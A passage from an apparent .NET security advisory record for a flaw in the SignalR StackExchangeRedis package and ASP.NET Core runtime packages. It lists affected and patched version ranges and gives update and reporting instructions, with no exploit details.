10.0.15\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n\n### .NET 11.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n\n## Advisory FAQ\n\n### <a name=\"how-affected\"></a>How do I know if I am affected?\n\nCompare the deployed ASP.NET Core runtime and the application's resolved Microsoft.AspNetCore.SignalR.StackExchangeRedis package version with the affected ranges above. Self-contained applications include their own runtime.\n\n### <a name=\"how-fix\"></a>How do I fix the issue?\n\nUpdate both the ASP.NET Core runtime and the Microsoft.AspNetCore.SignalR.StackExchangeRedis package to the applicable patched versions above. Restart affected framework-dependent applications after installing the runtime update. Rebuild and redeploy applications after updating the package; self-contained applications must also be rebuilt with the patched runtime. Updating a machine-wide runtime or SDK alone does not update an application's standalone package references.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-114147](https://www.cve.org/CVERecord?id=CVE-2026-114147)\n\n### Acknowledgements\n\n- [71C4 with ARPSEC](https://www.linkedin.com/in/navaponpremkasem/)\n- [71C4](https://www.linkedin.com/in/navaponpremkasem/)\n\n### Revisions\n\nV1.0 (November 10, 2026): Advisory published.","affected":[{"package":{"name":"Microsoft.AspNetCore.SignalR.StackExchangeRedis","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.SignalR.StackExchangeRedis"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.SignalR.StackExchangeRedis","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.SignalR.StackExchangeRedis"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.SignalR.StackExchangeRedis","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.SignalR.StackExchangeRedis"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.SignalR.StackExchangeRedis","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.SignalR.StackExchangeRedis"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 